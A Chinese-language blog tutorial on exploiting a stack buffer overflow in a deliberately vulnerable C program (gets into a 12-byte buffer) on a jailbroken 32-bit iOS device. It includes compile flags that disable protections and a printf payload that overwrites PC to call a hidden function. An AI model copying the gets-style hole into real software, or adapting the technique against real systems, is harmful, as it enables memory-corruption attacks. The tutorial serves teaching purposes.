iOS_32位系统的简单漏洞利用详解

383 阅读2分钟

苹果手机系统漏洞如何利用?
阅读本文,你将完整的经历一次堆栈缓冲区溢出漏洞利用。

设备要求

苹果电脑

32位的苹果设备(需要越狱)


编写代码

1、新建一个hello.c文件:

#include <stdio.h>
#include <stdlib.h>
void secret() {
	printf("You shouldn't be here ;P\n");
	// system("ls -la /");
}
int main() {
	char buff[12];
	gets(buff);
	
	printf("You entered %s\n", buff);
	
	return 0;
}

代码中的buff限制是12字符,但 gets方法却可以为buff赋更多的字符。这就是本次测试漏洞的关键所在。

2、在苹果电脑,打开终端,输入命令编译hello.c文件生成可执行文件:

clang hello.c -target armv7-apple-ios7.1 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS13.2.sdk -fno-pie -fno-stack-protector -mno-thumb -o hello

以上命令中的各项参数,我本地测试编译成功,如有问题,请自行适配。

编译生成了hello可执行文件,如下图:


真机操作

1、复制 "hello"可执行文件到你的苹果设备,我放到了手机的

/var/mobile/Documents/test

路径下。

2、电脑终端通过ssh连接到手机,并cd进入/var/mobile/Documents/test目录

ssh root@localhost -p 2222

cd /var/mobile/Documents/test

3、为 hello 添加执行权限

chmod +x hello

4、运行 hello 并输入字符串"AABBCCDD",如下:


输入的字符个数在12以内,程序运行正常。

当输入的字符个数超过12时,我们测试输入"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII",程序崩溃:


安装CrashReporter,可在Cydia中直接搜索CrashReporter并安装:



在实际的使用CrashReporter时,我的设备看不到具体崩溃日志,于是直接用爱思助手在手机的 /var/logs/CrashReporter 路径下找到崩溃日志文件:


崩溃日志文件内容:


你可以看到PC寄存器中包含的值是0x46464644,也就是FFFF的16进制。PC寄存器保存的是下一条指令的地址,所以说从崩溃日志得出结果:我们输入的内容超过12字符,无意中覆盖了PC寄存器中的值。


漏洞利用

使用gdb查看secret函数的地址

gdb附加hello,命令:gdb hello


查看 secret 函数的地址,命令:disas secret


可以看到 secret 函数的地址为:0x0000bf14

执行 hello 时,我们输入"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII",PC寄存器的值被覆盖成0x46464644,所以我们现在要把PC寄存器的值覆盖成 secret 函数的地址,可以修改字符串为"AAAABBBBCCCCDDDDTTTT\x14\xBF\x00\x00"

终端执行

printf "AAAABBBBCCCCDDDDTTTT\x14\xBF\x00\x00" | ./hello


可以看到终端打印了"You shouldn't be here ;P",这是 secret 函数内部的打印信息,所以成功调用了 secret 函数。

本次漏洞利用成功!!


本文是根据《ARM环境下的漏洞利用》一文的实践操作,原文地址:http://madmark.cc/2017/11/11/ARM_Exploitation_intro/

国外友人的YouTooBe视频:https://www.youtube.com/watch?v=o4gxN6EUvCw